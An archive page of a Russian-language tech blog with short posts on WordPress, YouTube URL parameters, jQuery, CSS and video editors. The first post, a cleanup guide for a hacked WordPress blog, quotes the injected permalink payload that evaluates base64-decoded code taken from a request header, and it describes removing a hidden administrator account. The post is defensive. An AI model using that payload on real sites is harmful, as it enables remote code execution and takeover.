Archive Page 3 of 37



05СенWordPress MySQL инъекция – как избежать атаки

Как оказалось, на днях многие блоги на WordPress были подвергнуты MySQL-инъекции, которая портит постоянные ссылки (пермалинки), превращая их, таким образом, в нерабочие. Это короткая статья о том, как исправить эту ситуацию.

Атакованные блоги подвергаются хаку, который добавляет к пермалинку

%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

или

“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%

После этого пермалинк, конечно, перестает работать и получить доступ к посту можно, только если удалить этот добавленный код.

Лечение:

1. Перейти в админке к Setting->Permalinks и удалить вышеуказанный код.
2. Перейти к пользователям, там обнаружится больше пользователей с административными правами, чем обычно.
3. Провести мышкой над каждым, чтобы вычислить последнего зарегистрировавшегося.
4. У этого пользователя правым кликом скопировать ссылку Редактирование/Edit и вставить его в адресную строку, увеличить номер на 1.
5. Вы должны получить скрытого админа со странным кодом в поле Имя. Удалите код, чтобы понизить его статус до Подписчика, затем снова перейдите к Пользователям и удалите его.

На этом все. Не забывайте вовремя обновляться до последних версий.

31Авг10 приемов для работы с YouTube

YouTube – это немного (намного?) больше, чем просто поиск и проигрывание видео. В этой статье описывается 10 хитрых приемов для более комфортной работы с YouTube.

1. Просмотр видео в высоком качестве.
YouTube позволяет просматривать видео в HD-формате, если этот формат доступен для выбранного ролика. Чтобы проверить, существует ли данный ролик в высококачественном формате, нужно добавить к адресу ‘&fmt=18′ (стерео, разрешение 480 x 270) или ‘&fmt=22′ (стерео, разрешение 1280 x 720)

2. Встраивание высококачественного видео.
Вышеописанный прием касается воспроизведения. Если вы хотите встроить HD-видео на страницу, вам надо добавить ‘&ap=%2526fmt%3D18′ или ‘&ap=%2526fmt%3D22′ cоотвественно к адресу встраивания (embed).

3. Перемотка к нужной части.
Хотите, чтобы нужное видео начиналось в нужный момент (например, если вы знаете, что нужный эпизод начинается в 03:22). Все, что нужно сделать – это добавить к адресу видео #t=03m22s (#t=XXmYYs для XX мин. и YY сек.).

4. Скрывание поля поиска.
Поисковое поле появляется при проведении курсором над встроенным видео. Чтобы скрыть его, добавьте к адресу ‘&showsearch=0′.

5. Встраивание части видеоролика.
Добавьте к адресу ‘&start=30′, чтобы пропустить (перемотать) 30 секунд. Т.е. вставьте нужную цифру в секундах после start= , чтобы перемотать к нужной части.

6. Автопроигрывание видео.
Обычно встроенное видео после загрузки не начинает проигрывать автоматически, ожидая, когда пользователь нажмет кнопку “Play”. Чтобы запустить автопроигрывание ролика после загрузки, добавьте ‘&autoplay=1′ к адресу.

7. Автоповтор.
Для автоматического переигрывания (повтора) ролика, добавьте к адресу ‘&loop=1′.

8. Отключение похожих видео.
Если Вы публикуете контент в форме YouTube-роликов и не хотите отображения похожих (т.е. в некотором роде конкурирующих) видео, добавьте к адресу ‘&rel=0′ – это отключит функционал предложенных похожих видео.

9. Отключение региональной фильтрации.
Некоторые ролики доступны только в определенных странах мира. Для определения местоположения пользователя (и, таким образом, разрешения или отказа в доступе к ролику) используется его IP. Чтобы обойти эту ситуацию, измените адрес с http://www.youtube.com/watch?v=< код_видео> на http://www.youtube.com/v/< код_видео>.

10. Скачка видео.
Не совсем YouTube-прием, но все же имеющий к нему отношение. Чтобы скачать нужный ролик, замените в адресе youtube на kickyoutube – вас перенаправит на KickYouTube с сохранением всех опций ролика.
Похожий функционал доступен и на KeepHD – замените в адресе youtube на keephd, чтобы скачивать HD-видео.

Оригинал статьи: #.

26АвгИзменение размеров изображения в соответствии с размером окна

Снова небольшой туториал по jQuery (не надоело еще?) по изменению размеров изображения в зависимости от размеров окна браузера. Правильнее сказать, это не изменение размеров, а подгрузка изображение большего или меньшего размера. Кстати, Last.Fm использует данный прием на страницах артистов.

1. Нужный кусок HTML-кода

(Type words here)

Главное, что тут понадобится – это класс .fluidimage

2. Теперь нужный CSS

body { text-align:center; }
img { float: rightright; margin: 0px 10px 10px 10px;}
#content { width:70%; margin: 0px auto; text-align: left; }

Для удобства восприятия опущены всякие графические стили и “украшательства” и приведены только действительно нужные в данном случае.

3. Изменения изображения с помощью jQuery

  

 

Этот скрипт содержит функцию, которая меняет изображения в зависимости от размеров окна. Если ширина браузера менее 700пикс., используется уменьшенная картинка, в остальных случаях – полноразмерная. Функция запускается при первой загрузке страницы и в при любом изменении размеров окна браузера.
Можно пойти дальше и ресайзить одну картинку в процентном соотношении от размера окна, но тут есть риск получить некачественное и размытое изображение.

Демо туториала
Скачать скрипт

Оригинал статьи: #.

25АвгУскорение FireFox очисткой баз SQLite

Простой метод разгрузить (и, соответственно, ускорить) FireFox с помощью очистки баз SQLite.

1. Открыть консоль ошибок FireFox (Tools -> Error Console)
2. В поле Code вставить следующий код одной строкой:

Components.classes["@mozilla.org/browser/nav-history-service;1"].getService(Components.interfaces.nsPIPlacesDatabase).DBConnection.executeSimpleSQL(“VACUUM”);

3. Нажать Enter или кнопку Evaluate.

После секундного зависания, вызванного очисткой базы, можно будет закрыть консоль и вернуться к ФФ, который теперь должен работать в разы быстрее.

21Авг7 приложений для редактирования видео

Avs Video Editor – бесплатная утилита для редактирования видео, которая поддерживает различные форматы. Можно выбирать из более 300 эффектов, редактировать напрямую из HD-камер, и даже записывать CD и DVD. Также программа позволяет вставлять аудиофайлы в видеопоток и микшировать их.
Avs Video Editor

Video Dub – эта бесплатная программа предоставляет полную свободу в редактировании видео в форматах AVI, MPEG-1 и MPEG-2. Можно удалять нежелаемое без перекодирования, т.е. оригинальное качество видео сохраняется. Поддерживается обилие форматов – AVI, MOV, MP4, M4V, MPG, DivX и Xvid.
Video Dub

Video Pad Video Editor Software позволяет создавать фильмы из коллекций видеоклипов. Поддерживаются такие эффекты, как вырезание и перенос, придающие клипу профессиональный вид. Среди поддерживаемых форматов .3gp,.wmv, .divx и многие другие.
Video Pad

Windows Movie Maker – бесплатная программа, входящая в поставку Windows. C помощью этого приложения можно создавать ролики, скачивая их с видеокамеры и микшируя с аудио- и видеофайлами. После создания клипа можно поделиться им напрямую из программы через e-mail или загрузить на сайт.
Windows Movie Maker

VideoThang – очень интересная программа для редактирования видео в форматах .wmv, .avi, .mpg и других. Можно создавать фото слайд-шоу с эффектами затухания (fade).
VideoThang

MPEG Streamclip – профессиональный видеоредактор, поддерживающий обилие форматов, таких как Quicktime, DV, MPEG-4, MPEG-1 MPEG-2 или VOB-файлы. Создает высококачественные ролики и может экспортировать клипы в другие форматы или в HD-качество. Можно выбирать размеры кадров и вставлять аудио-файлы (и конвертировать их между собой в разные форматы). Поддерживаются файлы размером до 4 Гб. Так же можно просмотреть результат перед конвертированием. Есть версии как для Windows, так и для Mac.
MPEG Streamclip

Jahshaka – еще один профессиональный редактор для работы с видео и аудио. Поддерживает обработку изображений в реальном времени и редактирование DV, SD и HD форматов, а также 3-мерное моделирование с помощью флэш. В поставку входит также JahPlayer, поддерживающий все общеизвестные форматы. Как в случае с предыдущей программой, есть отдельные Mac и Windows-версии.
Jahshaka

Оригинал статьи: #.

18АвгОтображение комментариев под записью

(Когда писать особо не о чем, а ГосДеп требует отрабатывать вложенное бабло – приходиться заниматься переводами, ибо большинство оф. планктона, которое хочет приобщиться к волшебному миру WP, все равно не может ни черта прочитать на иностранных источниках.)

Ну тогда вот вам простенький пример: как отобразить комментарии к посту прямо под ним на главной странице. Берется вот такой код:

< ?php
  global $withcomments;
  $withcomments = true;
  comments_template("/inline-comments.php");
?>

и вставляется в нужное место в файле index.php
Файл inline-comments.php понадобится как шаблон для правильного форматирования комментариев. Можно, конечно, извратиться и использовать файл comments.php, но т.к. там предусмотрено форматирование отображение комментариев для отдельной записи, можно быть увереным, что результат будет выглядеть более чем некрасиво.

15АвгЗакругленные уголки в любом браузере

Свойство border-radius в CSS3 позволяет быстро и удобно создавать закругленные уголки в браузерах, которые его поддерживают, т.е. Firefox, Safari и Chrome. Но по какой-то таинственной причине, данное свойство не поддерживается в IE, поэтому для отображения в нем закругленных уголков приходится использовать другие методы, вроде изображений.
Данный быстрый и простой метод с использованием CSS3 и JavaScript позволит использовать закругленные уголки в любом браузере. Этот метод использует бесплатную библиотеку CurvyCorners. Результат будет выглядеть вот так:

Закругленные уголоки, рис. 1

Преимущество этого метода в том, что он использует -webkit-border-radius и -moz-border-radius для Firefox, Safari и Chrome и JavaScript для IE и Opera.

В раздел HEAD страницы нужно встроить библиотеку:


Затем используется CSS-класс:

.roundedCorners{
width: 220px;
padding: 10px;
background-color: #DDEEF6;
border:1px solid #DDEEF6;

/* Закругление (native in Safari, Firefox and Chrome) */
-webkit-border-radius: 6px;
-moz-border-radius: 6px;
}

После этого кода добавить еще такой скрипт:


tl, tr, bl, br соответственно означают верхний левый, верхний правый, нижний левый и нижний правый углы.

Если у вас несколько разных CSS-классов (напр., roundedCorners, roundedCorners_1, roundedCorners_2), их можно использовать, изменяя скрипт соответственно:

...
curvyCorners(setting, ".roundedCorners");
curvyCorners(setting, ".roundedCorners_1");
curvyCorners(setting, ".roundedCorners_2");
...

Нужную конструкцию заключить в контейнер

...

Результат будет выглядеть так:

Закругленные уголоки, рис. 2

Демо-скрипты можно скачать здесь

Источник: #.

11АвгПлагин для вставки видео от Allmedia.Uz в WordPress, v. 1.1

Мини-обновление плагина для вставки видеороликов от видеохостинга AllMedia.Uz. Это обновление включает в себя добавление quicktag-кнопки в HTML-редактор WP.
Использование:
1. Распаковать и закачать плагин в папку плагинов Вашего блога (/wp-content/plugins). Обратите внимание, что закачивать нужно всю папку целиком, так чтобы получилось /wp-content/plugins/allmedia/.
2. Активировать плагин.
3. Чтобы вставить видео, нажмите в HTML-редакторе кнопку allmedia. Это вставит в текст поста следующий шорткод: [allmedia=http://allmedia.uz/video/]. После конечного слэша и перед закрывающей квадратной скобкой введите ID нужного видео, так чтобы у Вас получился следующий код, например для ID 123:
[allmedia=http://allmedia.uz/video/123]

Скачать Allmedia video plugin v. 1.1

07АвгПлагин для вставки видео от Allmedia.Uz в WordPress

Набросал небольшой плагин для быстрого вставки видео от нашего видеохостинга Allmedia. Код основан/заимствован/подсмотрен во множестве других плагинов для вставки видео в WordPress. Для удобства плагин использует так называемые шорткоды (shortcodes) для вставки видео.

Как пользоваться плагином.
1) Скачать, разархивировать плагин в ваш блог и активировать его.
2) С сайта Allmedia.uz получить URL нужного видео (поле “Ссылка”).
Allmedia.Uz
3) При написании поста в нужном месте ввести
[allmedia=...]
где … заменить на соответствующую ссылку на видео.


Скачать плагин “Быстрая вставка видео от allmedia.uz”

UPD: эта версия устарела, рекомендуется использовать версию 1.1

01АвгОтключение рекламы в Gmail

Всенародно любимый сервис почты Gmail часто отображает так называемые “спонсорские ссылки” (sponsored links) в правой части экрана. Не то, чтобы это было плохо, скорее наоборот… Но если уж вам так необходимо от нее избавиться, то существует достаточно простой способ.
При написании следующего письма добавьте в письмо одно или два предложения с упоминанием трагических событий и катастроф. Письма анализируются на предмет ключевых слов программами, а не людьми, для выдачи соотвествующей рекламы. В случае обнаружения упоминания катастрофы или трагедии, система из вежливости полностью отключает рекламу.
Конечно, крайне желательно объяснить получателю данного письма для чего упомянуты катастрофические события.




Спонсоры: канцтовары оптом. срочно продам авто. деревянные лестницы